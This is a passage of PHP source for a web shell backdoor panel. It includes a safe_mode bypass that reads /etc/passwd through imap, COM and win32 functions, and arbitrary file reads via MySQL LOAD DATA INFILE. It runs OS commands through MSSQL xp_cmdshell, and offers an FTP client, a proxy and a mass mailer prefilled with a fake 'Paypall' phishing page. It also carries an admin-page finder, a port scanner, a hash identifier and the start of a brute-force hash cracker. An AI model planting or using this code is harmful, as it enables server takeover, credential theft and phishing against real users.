}elseif(isset($_POST['bypasstype']) && $_POST['bypasstype'] == "ShowDir"){
$con=glob("$file*");
echo startab('glob');
foreach ($con as $v)echo "$v\n";
echo $endtab;
if(function_exists('imap_open')){
$str=imap_open('/etc/passwd','','');
$s=explode("|",$file);
if(count($s)>1)$list=imap_list($str,trim($s[0]),trim($s[1]));else $list=imap_list($str,trim($str[0]),'*');
echo startab('imap');
for($i=0;$i<count($list);$i++)echo "$list[$i]\r\n";
echo $endtab;
imap_close($str);
}
if(is_object($ws=new COM('WScript.Shell'))){
echo startab('WScript.Shell');
$exec=comshelL('dir "'.$file.'"',$ws);
$exec=str_replace("\t",'',$exec);
echo $exec;
echo $endtab;
}
if(is_callable('win_shell_execute')){
echo startab('win32std');
echo winshelL('dir "'.$file.'"');
echo $endtab;
}
if(is_callable('win32_create_service')){
echo startab('win32service');
echo srvshelL('dir "'.$file.'"');
echo $endtab;
 }
}elseif(isset($_POST['mysqlreadfile'])){
$mysqltab=uniqid();
$s=array("CREATE TEMPORARY TABLE ".$mysqltab." (file LONGBLOB)","LOAD DATA INFILE '".addslashes($_POST['mysqlfile'])."' INTO TABLE ".$mysqltab,"SELECT * FROM ".$mysqltab);
$connection=@mysql_connect('localhost', $_REQUEST['mysqluser'], $_REQUEST['mysqlpasswrd']);
@mysql_select_db($_POST['mysqldb'],$connection);
echo startab('MySQL LOAD DATA INFILE');
foreach($s as $v){
$q = @mysql_query($v,$connection);
while($d=@mysql_fetch_row($q))echo htmlspecialchars($d[0]);
}
echo $endtab;
@mysql_close($connection);
}elseif(isset($_POST['mssqlexec'])){
$mssqltab=uniqid();
$db=mssql_connect($_POST['mssqlserver'],$_POST['mssqluser'],$_POST['mssqlpasswrd']);
mssql_select_db($_POST['mssqldb'],$db);
mssql_query("create table ".$mssqltab." ( string VARCHAR (500) NULL)",$db);
mssql_query("insert into ".$mssqltab." EXEC master.dbo.xp_cmdshell '".$_POST['mssqlcmd']."'",$db);
$re=mssql_query("select * from ".$mssqlcmd,$db);
echo startab('MSSQL xp_cmdshell');
while(($row=mssql_fetch_row($re)))echo htmlspecialchars($row[0]."\r\n");
echo $endtab;
mssql_query("drop table $tb",$db);
mssql_close($db);
}
echo '<br><table align=center><form method=POST><tr bgcolor="#666666"><td colspan="2"><label>PHP safe_mode and open_badesir Bypass</label></td></tr><tr bgcolor="#808080"><td width=65><label>Dir/File</label></td><td><input type="text" size=25 name="bypasstext" value="'.((!empty($_POST['bypasstext']))?($_POST['bypasstext']):("/etc/passwd")).'"></td></tr><tr bgcolor="#666666"><td colspan="2" align="right"><select name="bypasstype"><option value="ShowDir">Show Dir</option><option value="ReadFile">Read File</option></select> <input type="submit" name="starbypass" value="Run"></td></tr></form></table>';
echo '<br><table align=center><form method=POST><tr bgcolor="#666666"><td colspan="2"><label>MySQL: load data</label></td></tr><tr bgcolor="#808080"><td width=65><label>File</label></td><td><input type="text" name="mysqlfile" size=25 value="'.((!empty($_POST['mysqlfile']))?($_POST["mysqlfile"]):('/etc/passwd')).'"></td></tr><tr bgcolor="#666666"><td width=65><label>Username</label></td><td><input type="text" name="mysqluser" size=25 value="'.((!empty($_POST['mysqluser']))?($_POST['mysqluser']):('root')).'"></td></tr><tr bgcolor="#808080"><td width=65><label>Password</label></td><td><input type="password" name="mysqlpasswrd" size=25 value="'.((!empty($_POST['mysqlpasswrd']))?($_POST['mysqlpasswrd']):('123456')).'"></td></tr><tr bgcolor="#666666"><td width=65><label>Database</label></td><td><input type="text" name="mysqldb" size=25 value="'.((!empty($_POST['mysqldb']))?($_POST['mysqldb']):('mysql')).'"></td></tr><tr bgcolor="#666666"><td colspan="2" align="right"><input type="submit" name="mysqlreadfile" value="Read File"></td></tr></form></table>';
echo '<br><table align=center><form method=POST><tr bgcolor="#666666"><td colspan="2"><label>MSSQL: xp_cmdshell</label></td></tr><tr bgcolor="#808080"><td width=65><label>Server</label></td><td><input type="text" name="mssqlserver" size=25 value="'.((!empty($_POST['mssqlserver']))?($_POST["mssqlserver"]):('localhost')).'"></td></tr><tr bgcolor="#666666"><td width=65><label>Username</label></td><td><input type="text" name="mssqluser" size=25 value="'.((!empty($_POST['mssqluser']))?($_POST['mssqluser']):('sa')).'"></td></tr><tr bgcolor="#808080"><td width=65><label>Password</label></td><td><input type="password" name="mssqlpasswrd" size=25 value="'.((!empty($_POST['mssqlpasswrd']))?($_POST['mssqlpasswrd']):('123456')).'"></td></tr><tr bgcolor="#666666"><td width=65><label>Database</label></td><td><input type="text" name="mssqldb" size=25 value="'.((!empty($_POST['mssqldb']))?($_POST['mssqldb']):('master')).'"></td><tr bgcolor="#808080"><td width=65><label>Cmd</label></td><td><input type="text" name="mssqlcmd" size=25 value="'.((!empty($_POST['mssqlcmd']))?($_POST['mssqlcmd']):('net user')).'"></td></tr><tr bgcolor="#666666"><td colspan="2" align="right"><input type="submit" name="mssqlexec" value="Exec"></td></tr></form></table>';
echo $footer;
die();
}
if (isset($act) && $act == "ftp") {
echo "<br><form method=POST><table align=center><tr><td colspan=2 bgcolor=\"#666666\"><label style=\"color:#cccccc\">".$lang[$language.'_text100']."</label></td></tr><tr><td bgcolor=\"#808080\"><label>".$lang[$language.'_text88']."</label></td><td bgcolor=\"#808080\">".in('text','ftp_server_port',25,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))."</td></tr><tr><td bgcolor=\"#666666\"><label>".$lang[$language.'_text37']."</label></td><td bgcolor=\"#666666\">".in('text','ftp_login',25,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):('Xanir')))."</td></tr><tr><td bgcolor=\"#808080\"><label>".$lang[$language.'_text38']."</label></td><td bgcolor=\"#808080\">".in('text','ftp_password',25,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("123456")))."</td></tr><tr><td bgcolor=\"#666666\" align=right colspan=2>".in('hidden','dir',0,$dir).in('hidden','act',0,'ftp_connect').in('submit','submit',0,$lang[$language.'_butt0'])."</td></tr></table></form>".$footer;
die();
}
if(isset($act) && $act=="ftp_connect"){
 echo "<div align=center><form name=form method=POST>";
 echo in('hidden','ftp_srv',0,((!empty($_POST['ftp_server_port']))?($_POST['ftp_server_port']):($_POST['ftp_srv'])));
 echo in('hidden','ftp_usr',0,((!empty($_POST['ftp_login']))?($_POST['ftp_login']):($_POST['ftp_usr'])));
 echo in('hidden','ftp_pass',0,((!empty($_POST['ftp_password']))?($_POST['ftp_password']):($_POST['ftp_pass'])));
 echo in('hidden','act',0,'ftp_connect');
 $ftp_error ;
 list($ftp_server,$ftp_port) = split(":",((!empty($_POST['ftp_srv']))?($_POST['ftp_srv']):($_POST['ftp_server_port'])));
 if(empty($ftp_port)) { $ftp_port = 21; }
 $connection = @ftp_connect ($ftp_server,$ftp_port,30);
 if(!$connection) { print 'Can\'t connect to FTP Server'; 
 }else{
  if(!@ftp_login($connection,((!empty($_POST['ftp_usr']))?($_POST['ftp_usr']):($_POST['ftp_login'])),((!empty($_POST['ftp_pass']))?($_POST['ftp_pass']):($_POST['ftp_password'])))) { echo 'Can\'t login on ftp server'; 
  }else{
   ftp_chdir($connection , $_POST['ftp_pwd']);
   if(isset($_POST['ftp_execute'])){ 
	if(($_POST['ftp_create_delete']=='Create') && ($_POST['ftp_file_dir']=='Dir')){if(!ftp_mkdir($connection, $_POST['ftp_filename'])){$ftp_error="Error Can't create Directory ". $_POST['ftp_filename'];}}
	if(($_POST['ftp_create_delete']=='Delete') && ($_POST['ftp_file_dir']=='File')){if(!ftp_delete($connection, $_POST['ftp_filename'])){$ftp_error="Error Can't delete File ". $_POST['ftp_filename'];}}
	if(($_POST['ftp_create_delete']=='Delete') && ($_POST['ftp_file_dir']=='Dir')){if(!ftp_rmdir($connection, $_POST['ftp_filename'])){$ftp_error="Error Can't delete Directory  ". $_POST['ftp_filename'];}}
   }
   if(isset($_POST['ftp_chmod'])){if(!ftp_chmod($connection , $_POST['ftp_chmodtxt'],$_POST['ftp_filename'])){$ftp_error="Error Can't chmod " . $_POST['ftp_filename'];}}
   if(isset($_POST['ftp_rename'])){if(!ftp_rename($connection , $_POST['ftp_filename'],$_POST['ftp_renametxt'])){$ftp_error="Error Can't rename " . $_POST['ftp_filename'];}}
   if(isset($_POST['ftp_download'])){
    if($_POST['ftp_transfermode_down']=='FTP_BINARY'){if(!ftp_get($connection,$_POST['ftp_localfile_down'],$_POST['ftp_remotefile_down'],FTP_BINARY)){$ftp_error="Error Can't download " . $_POST['ftp_remotefile_down'] .' from remote server';}}
	if($_POST['ftp_transfermode_down']=='FTP_ASCII'){if(!ftp_get($connection,$_POST['ftp_localfile_down'],$_POST['ftp_remotefile_down'],FTP_ASCII)){$ftp_error="Error Can't download " . $_POST['ftp_remotefile_down'] .' from remote server';}}
   }elseif(isset($_POST['ftp_upload'])){
    if($_POST['ftp_transfermode_up']=='FTP_BINARY'){if(!ftp_put($connection,$_POST['ftp_remotefile_up'],$_POST['ftp_localfile_up'],FTP_BINARY)){$ftp_error="Error Can't upload " . $_POST['ftp_localfile_up'] .' on remote server';}}
	if($_POST['ftp_transfermode_up']=='FTP_ASCII'){if(!ftp_put($connection,$_POST['ftp_remotefile_up'],$_POST['ftp_localfile_up'],FTP_ASCII)){$ftp_error="Error Can't upload " . $_POST['ftp_localfile_up'] .' on remote server';}}
  }
	$buff=ftp_rawlist($connection ,$_POST['ftp_pwd']);
	echo '<table width=795 align="center"><tr height="25" valign="top"><td bgcolor="#222222"><label style="color:#cccccc"><b>FTP Client</b></label>'.ws(5).'<label style="color:#cccccc">host: <b>'. ((!empty($_POST['ftp_srv']))?($_POST['ftp_srv']):($_POST['ftp_server_port'])) .'</b>'.ws(4).'user: <b>'. ((!empty($_POST['ftp_usr']))?($_POST['ftp_usr']):($_POST['ftp_login'])) .'</b>'.ws(4).'Password: <b>'. ((!empty($_POST['ftp_pass']))?($_POST['ftp_pass']):($_POST['ftp_password'])) .'</b>'.ws(6).'<a href="'.$_SERVER['PHP_SELF'].'?act=ftp" style="color: #ffffff; text-decoration: underline;">Logout</a></label></td></tr><tr><td bgcolor="#808080"><label> File/Dir </label> <input type=text name=ftp_filename size=20 value="'. ((!empty($_POST['ftp_filename']))?($_POST['ftp_filename']):('file_name')) .'"> | <select name=ftp_create_delete><option>Create<option>Delete</select> <select name=ftp_file_dir><option>File<option>Dir</select> <input type=submit name=ftp_execute value="Execute"> | <input type=text name=ftp_chmodtxt size=10 value="'. ((!empty($_POST['ftp_chmodtxt']))?($_POST['ftp_chmodtxt']):('0777')) .'"> <input type=submit name=ftp_chmod value="chmod"> | <input type=text name=ftp_renametxt size=15 value="'. ((!empty($_POST['ftp_renametxt']))?($_POST['ftp_renametxt']):('new_name')) .'"> <input type=submit name=ftp_rename value="rename"></td></tr><tr><td bgcolor="#666666"><label>Local file</label>&#160;<input type=text name=ftp_localfile_up size=25 value="'. ((!empty($_POST['ftp_localfile_up']))?($_POST['ftp_localfile_up']):('local file_name')) .'">'.ws(3).'<label>File on ftp</label> <input type=text name=ftp_remotefile_up size=25 value="'. ((!empty($_POST['ftp_remotefile_up']))?($_POST['ftp_remotefile_up']):('remote file_name')) .'">'.ws(3).'<label>Transfer mode</label> <select name=ftp_transfermode_up><option>FTP_BINARY<option>FTP_ASCII</select> <input type=submit name=ftp_upload value="Upload"></td></tr><tr><td bgcolor="#808080"><label>File on ftp</label>&#160;<input type=text name=ftp_remotefile_down size=25 value="'. ((!empty($_POST['ftp_remotefile_down']))?($_POST['ftp_remotefile_down']):('remote file_name')) .'">'.ws(2).'<label>Local file</label> <input type=text name=ftp_localfile_down size=25 value="'. ((!empty($_POST['ftp_localfile_down']))?($_POST['ftp_localfile_down']):('local file_name')) .'">'.ws(2).'<label>Transfer mode</label> <select name=ftp_transfermode_down><option>FTP_BINARY<option>FTP_ASCII</select> <input type=submit name=ftp_download value="Download"></td></tr><tr><td bgcolor="#666666"> <input type=text name=ftp_pwd size=45 value="'. ((!empty($_POST['ftp_pwd']))?($_POST['ftp_pwd']):(ftp_pwd($connection))) .'"> <input type=submit name=ftp_dir value="FTP Dir">'.ws(4).'<input type=text name=local_pwd size=45 value="'. ((!empty($_POST['local_pwd']))?($_POST['local_pwd']):(@getcwd())) .'"> <input type=submit name=local_dir value="Local Dir"></td></tr><tr><td align=left bgcolor="#808080"><textarea name=ftp_list cols=97 rows=20>';
	if(!empty($ftp_error)){
	echo $ftp_error;
	}elseif(isset($_POST['local_dir'])){
	Chdir(((!empty($_POST['local_pwd']))?($_POST['local_pwd']):(@getcwd())));
	$current_dir = opendir(@getcwd());
	while ($file = readdir($current_dir)){ 
	printf("% 7s ", date("d.m.Y H:i",@filemtime($file)));
	$file_perms=view_perms(@fileperms($file)) ; printf("% 7s ",$file_perms);
	$file_size=filesize(basename($file)); printf("% 7s ",$file_size);
	$file_name=$file."\n"; printf("% 7s ",@htmlspecialchars($file_name));
	}
	closedir($current_dir);
    }else{
	foreach ($buff as $v){	
	print @htmlspecialchars($v);
	print "\n";
	}
	}
	echo '</textarea></td></tr></table></form>';
   }
  }
@ftp_close($connection);
echo $footer;
die(); 
}
if (isset($act) &&$act == "proxy" && !isset($_GET['pmpurl'])) {	
if (@!function_exists('curl_version')){
echo "<label>This function need cURL: 0n</label>";
exit();
}else {
echo '<br><table align="center"><form action="'.$_SERVER['PHP_SELF'].'"><tr><td colspan="2" bgcolor="#666666"><label>Enter the URL:</label></td></tr><input type="hidden" name="act" value="proxy"><tr><td bgcolor="#808080"><input  id="bardir" name="pmpurl" type="text" size="70" value="http://google.com"></td><td bgcolor="#808080"><input type="submit" value="Surf"></td></tr></form></table>';
}
echo $footer;
die();
}
if (isset($act) && $act == "mailer") {
echo "<br><form method=POST><table align=center><tr><td colspan=3 bgcolor=\"#666666\"><label>Mailer</label></td></tr><tr><td bgcolor=\"#808080\" rowspan=7><textarea name=to cols=25 rows=23>".(!empty($_POST['to'])?($_POST['to']):("Email 1\nEmail 2\nEmail 3\nEmail 4"))."</textarea></td></tr><tr><td bgcolor=\"#666666\"><label>".$lang[$language.'_text58']."</label></td><td bgcolor=\"#808080\">".in('text','name',54,(!empty($_POST['name'])?($_POST['name']):("Mu\$lim")))."</td></tr><tr><td bgcolor=\"#808080\"><label>".$lang[$language.'_text106']."</label></td><td bgcolor=\"#808080\">".in('text','from',54,(!empty($_POST['from'])?($_POST['from']):("[email protected]")))."</td></tr><tr><td bgcolor=\"#666666\"><label>".$lang[$language.'_text107']."</label></td><td bgcolor=\"#666666\">".in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("update"))).ws(1).in('submit','send_mails',0,$lang[$language.'_butt15'])."</td></tr><tr><td bgcolor=\"#808080\" rowspan=3 colspan=2><textarea name=text cols=46 rows=19>".(!empty($_POST['text'])?($_POST['text']):("<html>\n<head>\n <title> Paypall </title> \n</head>\n<body>\n\n Fake Page \n\n</body>\n</html>"))."</textarea></td></tr></table></form>";
if(isset($_POST['send_mails'])){
 $headers =  MailHeader($_POST['from'], $_POST['name']);
 $text['eng'] = array('Can\'t send mail','Mail sent');
 $emaillist = split("\n", $_POST['to']); 
 $emailcount = count($emaillist); 
 for( $i=0; $i<$emailcount; $i++){ 
 $res = mail($emaillist[$i],$_POST['subj'],$_POST['text'],$headers);
 echo "<div align=center><font color=red face=Verdana size=-2><b>[*] ".$text[$language][$res]. ' to .......................... '. $emaillist[$i] ."</b></font></div><br>";
 }
}
echo $footer;
die();
}
if (isset($act) && $act == "admfinder") { 
if (@!function_exists('curl_version')){
echo "<label>This function need cURL: 0n</label>";
exit();
}else {
echo '<br><table align="center"><form method=POST><tr><td colspan="2" bgcolor="#666666"><label>Admin Finder:</label></td></tr><tr><td bgcolor="#808080"><input  id="bardir" name="admfinderurl" type="text" size="70" value="'.((!empty($_POST['admfinderurl']))?($_POST['admfinderurl']):('http://google.com')).'"></td><td bgcolor="#808080"><input name="findsubmit" type="submit" value="Find"></td></tr>';
if(isset($_POST['findsubmit'])){
echo '<tr bgcolor="#808080"><td colspan=2>';
$j = admfind($_POST['admfinderurl']);
echo '</tr></td>';
echo '<tr bgcolor="#666666"><td colspan=2 align="right"><label style="color : #cccccc;">'.$j.' found</label></td></tr>';
 }
}
echo '</form></table>'.$footer;
die();
}
if (isset($act) && $act == "scanner") { 
echo '<br><table align=center><form method=POST><tr><td bgcolor="#666666" colspan=2><label>TCP Port Scanner</label></td></tr><tr><td bgcolor="#808080"><label> Target </label></td><td bgcolor="#808080"><input type=text name=targer size=25 value="'.((!empty($_POST['targer']))?($_POST['targer']):('127.0.0.1')).'"></td></tr><tr><td bgcolor="#666666"><label> From </label></td><td bgcolor="#666666" colspan=2><input type=text name=PortScanFrom size=8 value="'.((!empty($_POST['PortScanFrom']))?($_POST['PortScanFrom']):('1')).'">'.ws(2).'<label> To </label> <input type=text name=PortScanTo size=8 value="'.((!empty($_POST['PortScanTo']))?($_POST['PortScanTo']):('1024')).'"></td></tr><tr><td bgcolor="#808080"> <label> Timeout </label> </td><td bgcolor="#808080"><input type=text name=PortScan_Timeout size=8 value="'.((!empty($_POST['PortScan_Timeout']))?($_POST['PortScan_Timeout']):('2')).'">'.ws(4).'<input type=submit name=start_scan value="Start Scan"></td></tr><tr bgcolor="#808080"><td colspan=2>';
if (isset($_POST['start_scan'])){
	$j = 0;
	for ($i = $_POST['PortScanFrom']; $i <= $_POST['PortScanTo']; $i++){
	if (is_callable('stream_socket_client')) {
		$msgsock = stream_socket_client("tcp://{$_POST['targer']}:{$i}", $errno, $errstr, $_POST['PortScan_Timeout']);
	} elseif (is_callable('fsockopen')) {
		$msgsock = fsockopen($_POST['targer'],$i,$errno,$errstr, $_POST['PortScan_Timeout']);
	} elseif (is_callable('socket_create')) {
		$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
		$res = socket_connect($msgsock, $_POST['targer'], $i);
	} 
	if ($msgsock){
		echo ws(2).'<label>[*] '.$i.' ............................ open</label><br>';
		$j++;
	  }
	 if (isset($msgsock)) fclose($msgsock);
	 }
	}
echo '</td></tr><tr bgcolor="#666666"><td colspan=2 align="right"><label style="color :#cccccc">'.$j.' found</label></td></tr></form></table>'.$footer;
die();
}
if (isset($act) && $act == "encoder") {
$fu=array('-','md5','sha1','crc32','hex','ip2long','decbin','dechex','hexdec','bindec','long2ip','base64_encode','base64_decode','urldecode','urlencode','des','strrev');
if(!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
$to=$_REQUEST['to'];
echo '<br><table align=center><tr><td bgcolor="#666666" align=left><label>Output: '.$to.'<label></td></tr>';
if($to=='hex'){
echo '<tr><td bgcolor="#808080"><textarea rows=10 cols=64>';
for($i=0;$i<strlen($_REQUEST['input']);$i++)echo '%'.strtoupper(dechex(ord($_REQUEST['input']{$i}))); 
echo '</textarea></td></tr>';
}
else echo '<tr><td bgcolor="#808080"><textarea rows=10 cols=64>'.$to($_REQUEST['input']).'</textarea></td></tr>';
echo "</table>";
}
echo "<br><form method='POST'><table align=center><tr><td colspan=\"2\" align=\"left\" bgcolor=\"#666666\"><label>Encoder</label></td></tr><tr><td colspan=2 bgcolor='#808080'><textarea rows='10' name='input' cols='64'>";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width='15%' bgcolor='#808080'><label>Task:</label></td><td bgcolor='#808080'><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>Crc32</option><option value=strrev>Reverse</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=decbin>Decimal to binary</option><option value=bindec>Binary to decimal</option><option value=dechex>Decimal to hex</option><option value=hexdec>Hex to decimal</option><option value=hex>ASCII to hex</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td></tr><tr><td colspan=2 bgcolor='#666666' align=right><input type=submit value=Convert></tr></table></form>".$footer;
die();
}
if (isset($act) && $act == "hash") {
$hashs = array();
$hashs[0][1] = 4;
$hashs[0][2] = 'CRC-16';
$hashs[1][1] = 4;
$hashs[1][2] = 'CRC-16-CCITT';
$hashs[2][1] = 4;
$hashs[2][2] = 'FCS-16';
$hashs[3][1] = 8;
$hashs[3][2] = 'FCS-16';
$hashs[4][1] = 8;
$hashs[4][2] = 'ADLER32';
$hashs[5][1] = 8;
$hashs[5][2] = 'CRC-32';
$hashs[6][1] = 8;
$hashs[6][2] = 'CRC-32B';
$hashs[7][1] = 8;
$hashs[7][2] = 'GHash-32-3';
$hashs[8][1] = 8;
$hashs[8][2] = 'GHash-32-5';
$hashs[9][1] = 9;
$hashs[9][2] = 'Elf-32';
$hashs[10][1] = 13;
$hashs[10][2] = 'DES (Unix)';
$hashs[11][1] = 16;
$hashs[11][2] = 'MySQL';
$hashs[12][1] = 24;
$hashs[12][2] = 'Haval128 (Base64)';
$hashs[13][1] = 24;
$hashs[13][2] = 'MD2 (Base64)';
$hashs[14][1] = 24;
$hashs[14][2] = 'MD4 (Base64)';
$hashs[15][1] = 24;
$hashs[15][2] = 'MD5 (Base64)';
$hashs[16][1] = 24;
$hashs[16][2] = 'RipeMD128 (Base64)';
$hashs[17][1] = 24;
$hashs[17][2] = 'SNEFRU128 (Base64)';
$hashs[18][1] = 24;
$hashs[18][2] = 'Tiger128 (Base64)';
$hashs[19][1] = 28;
$hashs[19][2] = 'Haval160 (Base64)';
$hashs[20][1] = 28;
$hashs[20][2] = 'RipeMD160 (Base64)';
$hashs[21][1] = 28;
$hashs[21][2] = 'SHA-1 (Base64)';
$hashs[22][1] = 28;
$hashs[22][2] = 'Tiger160 (Base64)';
$hashs[23][1] = 32;
$hashs[23][2] = 'md5(md5($pass))';
$hashs[24][1] = 32;
$hashs[24][2] = 'md5(md5($pass).$salt)';
$hashs[25][1] = 32;
$hashs[25][2] = 'md5(md5($salt).md5($pass))';
$hashs[26][1] = 32;
$hashs[26][2] = 'Domain Cached Credentials';
$hashs[27][1] = 32;
$hashs[27][2] = 'Haval128 (HMAC)';
$hashs[28][1] = 32;
$hashs[28][2] = 'Haval128_3';
$hashs[29][1] = 32;
$hashs[29][2] = 'Haval128_3';
$hashs[30][1] = 32;
$hashs[30][2] = 'Haval128_5';
$hashs[31][1] = 32;
$hashs[31][2] = 'Haval192 (Base64)';
$hashs[32][1] = 32;
$hashs[32][2] = 'LM';
$hashs[33][1] = 32;
$hashs[33][2] = 'MD2 (HMAC)';
$hashs[34][1] = 32;
$hashs[34][2] = 'MD2';
$hashs[35][1] = 32;
$hashs[35][2] = 'MD4 (HMAC)';
$hashs[36][1] = 32;
$hashs[36][2] = 'MD4';
$hashs[37][1] = 32;
$hashs[37][2] = 'MD5 (HMAC)';
$hashs[38][1] = 32;
$hashs[38][2] = 'MD5';
$hashs[39][1] = 32;
$hashs[39][2] = 'NTLM';
$hashs[40][1] = 32;
$hashs[40][2] = 'RipeMD128 (HMAC)';
$hashs[41][1] = 32;
$hashs[41][2] = 'RipeMD128';
$hashs[42][1] = 32;
$hashs[42][2] = 'SNEFRU128 (HMAC)';
$hashs[43][1] = 32;
$hashs[43][2] = 'SNEFRU128';
$hashs[44][1] = 32;
$hashs[44][2] = 'Tiger128 (HMAC)';
$hashs[45][1] = 32;
$hashs[45][2] = 'Tiger128';
$hashs[46][1] = 32;
$hashs[46][2] = 'Tiger192 (Base64)';
$hashs[47][1] = 32;
$hashs[47][2] = 'Windows-LM';
$hashs[48][1] = 32;
$hashs[48][2] = 'Windows-NTLM';
$hashs[49][1] = 34;
$hashs[49][2] = 'MD5 (Unix)';
$hashs[50][1] = 37;
$hashs[50][2] = 'MD5 (APR)';
$hashs[51][1] = 40;
$hashs[51][2] = 'Haval160 (HMAC)';
$hashs[52][1] = 40;
$hashs[52][2] = 'Haval160';
$hashs[53][1] = 40;
$hashs[53][2] = 'Haval160_3';
$hashs[54][1] = 40;
$hashs[54][2] = 'Haval160_4';
$hashs[55][1] = 40;
$hashs[55][2] = 'Haval160_5';
$hashs[56][1] = 40;
$hashs[56][2] = 'Haval224 (Base64)';
$hashs[57][1] = 40;
$hashs[57][2] = 'MySQL v5.x';
$hashs[58][1] = 40;
$hashs[58][2] = 'RipeMD160 (HMAC)';
$hashs[59][1] = 40;
$hashs[59][2] = 'RipeMD160';
$hashs[60][1] = 40;
$hashs[60][2] = 'SHA-0';
$hashs[61][1] = 40;
$hashs[61][2] = 'SHA-1 (HMAC)';
$hashs[62][1] = 40;
$hashs[62][2] = 'SHA-1';
$hashs[63][1] = 40;
$hashs[63][2] = 'SHA224 (Base64)';
$hashs[64][1] = 40;
$hashs[64][2] = 'Tiger160 (HMAC)';
$hashs[65][1] = 40;
$hashs[65][2] = 'Tiger160';
$hashs[66][1] = 44;
$hashs[66][2] = 'Haval256 (Base64)';
$hashs[67][1] = 44;
$hashs[67][2] = 'RipeMD256 (Base64)';
$hashs[68][1] = 44;
$hashs[68][2] = 'SHA256 (Base64)';
$hashs[69][1] = 44;
$hashs[69][2] = 'SNEFRU256 (Base64)';
$hashs[70][1] = 48;
$hashs[70][2] = 'Haval192 (HMAC)';
$hashs[71][1] = 48;
$hashs[71][2] = 'Haval192';
$hashs[72][1] = 48;
$hashs[72][2] = 'Haval192_4';
$hashs[73][1] = 48;
$hashs[73][2] = 'Haval195_5';
$hashs[74][1] = 48;
$hashs[74][2] = 'Tiger192 (HMAC)';
$hashs[75][1] = 48;
$hashs[75][2] = 'Tiger192';
$hashs[76][1] = 48;
$hashs[76][2] = 'Tiger2';
$hashs[77][1] = 56;
$hashs[77][2] = 'Haval224 (HMAC)';
$hashs[78][1] = 56;
$hashs[78][2] = 'Haval224';
$hashs[79][1] = 56;
$hashs[79][2] = 'Haval244_3';
$hashs[80][1] = 56;
$hashs[80][2] = 'Havan244_4';
$hashs[81][1] = 56;
$hashs[81][2] = 'RipeMD320 (Base64)';
$hashs[82][1] = 56;
$hashs[82][2] = 'SHA224 (HMAC)';
$hashs[83][1] = 56;
$hashs[83][2] = 'SHA224';
$hashs[84][1] = 60;
$hashs[84][2] = 'Blowfish';
$hashs[85][1] = 64;
$hashs[85][2] = 'GOST R34.11-94';
$hashs[86][1] = 64;
$hashs[86][2] = 'Haval256 (HMAC)';
$hashs[87][1] = 64;
$hashs[87][2] = 'Haval256';
$hashs[88][1] = 64;
$hashs[88][2] = 'Haval256_3';
$hashs[89][1] = 64;
$hashs[89][2] = 'Haval256_4';
$hashs[90][1] = 64;
$hashs[90][2] = 'Haval256_5';
$hashs[91][1] = 64;
$hashs[91][2] = 'Panama';
$hashs[92][1] = 64;
$hashs[92][2] = 'RipeMD256 (HMAC)';
$hashs[93][1] = 64;
$hashs[93][2] = 'RipeMD256';
$hashs[94][1] = 64;
$hashs[94][2] = 'SHA256 (HMAC)';
$hashs[95][1] = 64;
$hashs[95][2] = 'SHA256';
$hashs[96][1] = 64;
$hashs[96][2] = 'SHA384 (Base64)';
$hashs[97][1] = 64;
$hashs[97][2] = 'NEFRU256 (HMAC)';
$hashs[98][1] = 80;
$hashs[98][2] = 'RipeMD320 (HMAC)';
$hashs[99][1] = 80;
$hashs[99][2] = 'RipeMD320';
$hashs[100][1] = 88;
$hashs[100][2] = 'SHA512 (Base64)';
$hashs[101][1] = 88;
$hashs[101][2] = 'WHIRLPOOL (Base64)';
$hashs[102][1] = 88;
$hashs[102][2] = 'SHA384 (HMAC)';
$hashs[103][1] = 96;
$hashs[103][2] = 'SHA384';
$hashs[104][1] = 128;
$hashs[104][2] = 'SHA512 (HMAC)';
$hashs[105][1] = 128;
$hashs[105][2] = 'SHA512';
$hashs[106][1] = 128;
$hashs[106][2] = 'WHIRLPOOL (HMAC)';
$hashs[107][1] = 128;
$hashs[107][2] = 'WHIRLPOOL';
$hashs[108][1] = 128;
$hashs[108][2] = 'Whirlpool-0';
$hashs[109][1] = 128;
$hashs[109][2] = 'Whirlpool-1';
$hashs[110][1] = 128;
$hashs[110][2] = 'Whirlpool-2';
echo '<br><table align=center><form name=form method=POST><tr><td align=left colspan=3 bgcolor="#666666"><label style="color:#cccccc"> Hash Analyser </label></td></tr><tr><td bgcolor="#808080"><label> Hash </label></td><td bgcolor="#808080"><input type=text name=txt_hash size=60 value="27c7612ff8943c00916b1a5437ab11940ca78c4a"></td><td bgcolor="#808080"><input type=submit value=Analyse name=Analyse></td></tr>';
if(isset($_POST['Analyse'])){
$j = 0;
echo '<tr><td colspan=3 bgcolor="808080">';
for($i=0 ; $i<count($hashs) ; $i++) {
	if($hashs[$i][1] == strlen($_POST['txt_hash'])){
		print '<label style="color: #ffffff;">[*] '.$hashs[$i][2] . '</label><br>';
		$j++;
	}
 }
echo '</td></tr><tr bgcolor="666666"><td colspan=3 align="right"><label style="color: #cccccc;">'.$j.'/'.count($hashs).' found</label></td></tr>';
}
echo '</form></table>'.$footer;
die();
}
if (isset($act) && $act == "cracker") {
if(isset($_POST['crackhash'])){
global $charset ,$charset_length ;
$charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789~`!@#$%^&*()-_\/\'";:,.+=<> ?';
$charset_length = strlen($charset);
$width = $_POST['minpasswd'];
for($width; $width < $_POST['maxpasswd']+1; ++$width)
md5recurse($width, 0, '',$_POST['hashtxt'], $_POST['hashtype'], $_POST['logtype'], $_POST['logfile']);
}
